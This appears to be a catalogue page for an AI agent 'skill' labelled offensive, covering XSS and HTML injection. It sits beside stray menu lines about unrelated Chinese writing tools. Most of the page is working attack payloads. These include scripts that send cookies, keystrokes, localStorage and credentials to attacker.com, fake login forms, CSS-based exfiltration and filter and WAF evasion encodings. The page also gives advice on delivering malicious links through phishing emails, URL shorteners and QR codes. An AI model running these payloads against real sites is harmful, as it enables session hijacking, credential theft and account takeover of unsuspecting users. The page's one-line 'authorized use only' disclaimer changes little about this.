Menu
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.
Use when CrossFrame Suite routes explicit Chinese casebook work: turning materials into reusable cases, anonymized entries, mechanisms, and retrieval indexes.
Use only when the user explicitly names crossframe-critical for a Chinese structural critique dossier, article plan, or long-form critical essay.
Use when CrossFrame Suite routes explicit Chinese proposition testing, debate analysis, hidden-premise review, rebuttal design, or withdrawal condition checks.
Use when CrossFrame Suite routes explicit Chinese reader replies, editor responses, consultation-style short answers, or boundary-aware structural advice.
Use when explicit CrossFrame work needs a Chinese critical insight essay, commentary, concept essay, public piece, or structure-to-article draft after diagnosis.
Use when CrossFrame Suite routes explicit Chinese notes for books, theories, articles, excerpts, bidirectional reading, absorption, or conflict mapping.
| name | xss-html-injection |
| description | Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. |
| risk | offensive |
| source | community |
| author | zebbern |
| date_added | 2026-02-27 |
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
Stored XSS Indicators:
Reflected XSS Indicators:
DOM-Based XSS Indicators:
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Modify page appearance without JavaScript:
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- Hex encoding -->
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
| Context | Payload |
|---|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
| SVG context | <svg onload=alert(1)> |
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Scenario: Blog comment feature vulnerable to stored XSS
Detection:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation: Comment renders and script executes for all viewers
Exploitation Payload:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result: Every user viewing the comment has their session cookie sent to attacker's server.
Scenario: Search results page reflects query without encoding
Vulnerable URL:
https://shop.example.com/search?q=test
Detection Test:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery: URL sent via phishing email to target user.
Scenario: JavaScript reads URL hash and inserts into DOM
Vulnerable Code:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result: Script executes entirely client-side; payload never touches server.
Scenario: Site has CSP but allows trusted CDN
CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result: CSP bypassed using allowed script source.
| Issue | Solutions |
|---|---|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with " or '; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
This skill is applicable to execute the workflow or actions described in the overview.